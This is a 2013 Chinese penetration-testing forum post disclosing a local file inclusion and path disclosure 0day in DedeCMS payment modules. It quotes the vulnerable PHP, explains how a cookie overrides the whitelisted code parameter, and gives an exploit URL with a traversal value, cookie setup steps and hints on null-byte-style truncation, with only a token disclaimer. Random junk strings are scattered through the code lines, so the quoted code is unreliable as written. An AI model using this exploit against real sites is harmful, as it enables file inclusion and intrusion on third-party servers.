中国网络渗透测试联盟

标题: dedecms本地文件包含及物理路径泄露0day [打印本页]

作者: admin    时间: 2013-4-4 17:25
标题: dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
* n4 D2 F  Z" o/ E' E1 a5 t# k3 T) R2 R+ a
出现漏洞的两个文件为:" w+ M3 o: ?. e1 E6 h
Include/payment/alipay.php
* i2 k  r% N* m: mInclude/payment/yeepay.php
$ K% E9 u4 C4 R2 L6 _6 ^  p7 B漏洞均出现在respond方法里,估计这两个文件是临时工写的。
; R6 c7 t/ K" p+ w! R8 }% P$ ]# k7 T. a7 E
Include/payment/alipay.php9 Y! [4 t$ j4 q. h0 d) n# O
6 E5 _$ C6 W5 i: I
......4 D  E5 l* l& z( ?; W, e
   function respond(), B: u9 B0 J- p9 c! @* U
    {
  p+ ]! G' ?, a- O2 i# ^        if (!empty($_POST))
, Y8 B& T" @' G! ^        {
0 Y/ Q% a7 |: `            foreach($_POST as $key => $data)
) {4 T' F  {. M) r; P" |& K            {, `% ~' V. H2 e: T
                $_GET[$key] = $data;
4 f, N: a, O, `, B; ^            }
4 j# Z4 k  l, D( r0 U+ ?: \- e- S' D        }% q: I' w+ h! ^
        /* 引入配置文件 */7 |7 e, Z# I" [
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';4 n3 k: P8 o- W3 G! m* c8 r
......
- ?; @9 b1 @. m
% J0 }& H; B# G; s
5 t. A! c0 |& p/ i" K& F+ N- f大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。4 @* |: @0 B0 e8 P; A
' S+ u2 T1 A7 D6 b% U8 _$ a
Include/payment/yeepay.php
4 t/ |* L% S$ w: t5 @3 T- V% c7 d( H0 ?8 {

4 Z3 k6 V# O# ?- h/ o7 B3 d8 P4 W5 X7 h8 L3 |
......
! C7 X6 C. w. d  e1 Q4 b0 V0 }    function respond()
* w! x& s& r- I4 m8 n3 u1 D5 T    {4 e0 X" f3 F/ @2 Q6 x2 e

+ T, R7 C8 J( T' B        /* 引入配置文件 */
' @; x" N( R6 t9 z5 |8 {        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';% R- w# n- L) |: z' T

: V$ \9 ?$ ^& _6 c        $p1_MerId = trim($payment['yp_account']);3 Z8 ]# p3 F) C6 q2 ]- n$ b0 x
        $merchantKey = trim($payment['yp_key']);
# A; P* p# l. e! l3 ?8 R& E8 c( E...... 2 K  b% |. ?9 ^4 F8 Q$ Q; N; \9 }

. ^$ [% L+ a1 l% j& Y7 d. l/ Z$ e4 ~- E* d9 S2 O' R% x% o
. Y7 M4 I7 |3 I; g! ]# o, z
' r% a8 i4 G; E* J* i: m* _
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。7 t1 `) I% F$ M. N  Q" l4 B. B

. E2 a' R6 H- v$ j) |$ F2 Y7 |. B4 t这两个方法在plus/carbuyaction.php文件调用。9 w; Q/ W, D, G0 J' i* {6 r

4 }6 [& b9 c5 F. ]$ i5 u, Lplus/carbuyaction.php# M7 f, X9 K/ c; u) B

0 d& N' t) K0 e+ ~( P......& I/ j8 T# X- V! G% [: v$ z, n# @$ N
} else if ($dopost == 'return') {
' k: N; |, _2 Z0 j# f    $write_list = array('alipay', 'bank', 'cod', 'yeepay');5 g, y. k1 E3 p4 f  ^1 x! I+ P* q
    if (in_array($code, $write_list))
% h, B& D' S3 H  n    {) L- J- f2 Q) U" k& X# _( \
        require_once DEDEINC.'/payment/'.$code.'.php';
1 e7 i& h  [) f/ t1 Q6 b- o0 d        $pay = new $code;
& n8 h8 v! }' V( z        $msg=$pay->respond();$ D& @- `( F% s/ r; x; L
        ShowMsg($msg, "javascript:;", 0, 3000);
8 H! Z  a' a0 t. S9 v        exit();  
* }" ^3 J6 z# V' [: Z: ^    } else {# e/ u2 X) K; J) J+ n0 x1 Q
        exit('Error:File Type Can\'t Recognized!');' X  M6 [* H, j% |- y$ O/ n1 h
    }- ?9 C+ R/ O0 K$ `4 e4 j4 \% _
}
5 Q5 K' T$ \1 P$ r6 _9 L  \......
1 g& g" |, n' _, ]; |1 n # H: B- y" D) Y: Z8 G
5 h0 {4 p- _( q% r# y

' p1 Z! j; A: `  m. I! C
" m/ O% {) k3 u
, @1 O( T- J& v" q, n5 h! W. ]9 {2 Z8 U# ]' N, E1 g
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。; r! ?$ p" R0 k% Y) O
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
% @. L/ `8 j5 Y$ L$ j6 n+ x
( K8 a; R; ^2 ]! p回到include/common.inc.php来看看他的机制。' u: Z1 T: y9 J) a# a) J0 w& {; `7 Y

$ q) C: f4 L# o+ W - o# B0 p+ O2 ]& ^* g% h! \

/ q0 o! B; w+ x0 F......8 ~4 E! t5 R5 b% e2 W& N
foreach(Array('_GET','_POST','_COOKIE') as $_request)
3 b6 N, a  b# z$ T9 m{( T( U) @* D! a" q
        foreach($$_request as $_k => $_v) 7 \9 W! z8 x0 e! S: @7 o  V
        {
0 |2 l- [+ D9 C  j0 _6 K2 h7 ?                if($_k == 'nvarname') ${$_k} = $_v;
( {% O  ]  c( ]) ~                else ${$_k} = _RunMagicQuotes($_v);
8 i4 Y8 N" p4 [" |6 \        }5 i9 y7 d1 t% T4 {
}% K& @2 V: I& l# T8 M3 }- X+ H7 X
...... : z0 @7 ]* u$ N( I8 f( s. f  G
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
8 N9 f. q/ p( Y1 y0 u由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2